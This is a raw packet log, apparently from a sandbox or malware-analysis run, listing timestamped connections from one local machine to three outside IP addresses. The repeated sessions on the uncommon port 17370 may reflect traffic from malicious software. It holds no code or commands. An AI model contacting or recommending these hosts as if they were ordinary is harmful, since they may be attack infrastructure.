Oct 8, 2024 02:39:02.835628033 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.835676908 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.836940050 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.836967945 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.837016106 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.837018967 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.837049007 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.837080956 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.837089062 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.837112904 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.837145090 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.837153912 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.837179899 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.837224960 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.841094017 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841123104 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841171980 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841204882 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841207981 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.841249943 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.841253996 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841286898 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841331959 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.841335058 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841366053 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841412067 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.841413021 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841447115 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841475010 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841491938 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.841526985 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841557980 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841573000 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.841605902 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841636896 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841651917 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.841670990 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841701984 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841711998 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.841736078 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841768026 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841778994 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.841799974 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841831923 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841842890 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.841864109 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841896057 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841905117 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.841922045 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.841964960 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.842573881 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.842653990 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.842685938 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.842695951 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.842739105 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.842771053 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.842782021 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.842803955 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.842835903 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.842844963 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.843401909 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.843430042 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.843450069 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.843478918 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.843514919 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.843519926 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.843561888 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.843594074 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.843602896 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.843642950 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.843674898 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.843683958 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.843707085 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.843738079 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.843748093 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.843770027 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.843802929 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.843811035 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.843833923 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.843868971 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.843944073 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.843975067 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.844007969 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.844017029 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.844034910 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.844079018 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.844089985 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.844122887 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.844152927 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.844165087 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.844186068 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.844217062 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.844227076 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.844249010 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.844281912 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.844290018 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.857162952 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.857194901 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.857219934 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.857228994 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.857274055 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.857278109 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.857311010 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.857342005 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.857352018 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.857374907 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.857404947 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.857417107 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.910552979 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.920450926 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.920471907 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.920480013 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.920486927 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.920495033 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.920501947 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.920511961 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.920523882 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.920792103 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.921329975 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.921356916 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.921371937 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.921385050 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.921399117 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.921412945 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.921427011 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.921441078 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.921545029 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.921559095 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.921571970 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.921586037 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.921600103 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.921616077 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.921622038 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.921622038 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.921622038 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.921622038 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.921719074 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.924860954 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.924881935 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.924890041 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.924896955 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.924904108 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.924911022 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.924917936 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.924925089 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.924935102 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925025940 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925040007 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925055027 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925081968 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.925082922 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.925082922 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.925116062 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925131083 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925173044 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925177097 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.925187111 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925209999 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925221920 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925223112 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.925235987 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925251007 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925263882 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.925266027 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925282001 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.925375938 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925390959 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925417900 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.925827980 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925853968 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925865889 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925873041 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.925913095 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.925929070 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925942898 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925956964 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925977945 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.925986052 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.925992966 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.926032066 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.927508116 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.927531958 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.927546978 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.927561045 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.927589893 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.927630901 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.927645922 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.927660942 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.927675009 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.927689075 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.927691936 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.927710056 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.931603909 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.931654930 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.931674957 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.931713104 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.931796074 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.931811094 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.931833982 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.931848049 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.931862116 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.931866884 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.931896925 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.931915998 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.931924105 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.931962967 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:15.430371046 CEST	49731	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:15.435722113 CEST	17370	49731	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:15.435822964 CEST	49731	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:15.746896982 CEST	49731	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:15.752182007 CEST	17370	49731	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:15.752346992 CEST	49731	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:15.757426023 CEST	17370	49731	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:16.168168068 CEST	17370	49731	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:16.223094940 CEST	49731	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:16.353076935 CEST	17370	49731	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:16.364795923 CEST	49731	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:16.370218992 CEST	17370	49731	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:16.370395899 CEST	49731	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:16.473220110 CEST	49733	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:16.478121042 CEST	17370	49733	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:16.478239059 CEST	49733	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:16.489226103 CEST	49733	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:16.494338036 CEST	17370	49733	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:16.494385004 CEST	49733	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:16.499259949 CEST	17370	49733	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:16.516350031 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:16.516436100 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:16.516525984 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:16.529232979 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:16.529273033 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:16.994545937 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:16.994626045 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:17.007132053 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.007330894 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.010684967 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.010715008 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.011137009 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.066854000 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.067410946 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.111437082 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.135277033 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:17.198694944 CEST	17370	49733	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:17.238626003 CEST	49733	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:17.365430117 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.365556955 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.365633011 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.365650892 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.365715981 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.365844011 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.365910053 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.365930080 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.365993977 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.366007090 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.366091967 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.366187096 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.366240025 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.366255045 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.366308928 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.366599083 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.379554987 CEST	17370	49733	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:17.380151033 CEST	49733	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:17.385189056 CEST	17370	49733	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:17.385251999 CEST	49733	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:17.410506964 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.410526991 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.457130909 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.457186937 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.457241058 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.457262993 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.457305908 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.457339048 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.457372904 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.457403898 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.457406998 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.457423925 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.457554102 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.457576036 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.457643032 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.458036900 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.458090067 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.458148956 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.458162069 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.458199024 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.458426952 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.458441019 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.458879948 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.458936930 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.458950043 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.459105968 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.459160089 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.459173918 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.459767103 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.459832907 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.459846020 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.488859892 CEST	49738	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:17.494016886 CEST	17370	49738	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:17.494102955 CEST	49738	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:17.504249096 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.508488894 CEST	49738	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:17.513667107 CEST	17370	49738	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:17.513744116 CEST	49738	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:17.518681049 CEST	17370	49738	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:17.545406103 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.549340010 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.549410105 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.549431086 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.549521923 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.549643040 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.549663067 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.549683094 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.549793005 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.549855947 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.549875021 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.549923897 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.549937010 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.550051928 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.550111055 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.550123930 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.550587893 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.550642014 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.550656080 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.550679922 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.550728083 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.550728083 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.550744057 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.551501036 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.551564932 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.551578999 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.551613092 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.551631927 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.551645994 CEST	443	49734	172.67.173.168	192.168.2.4
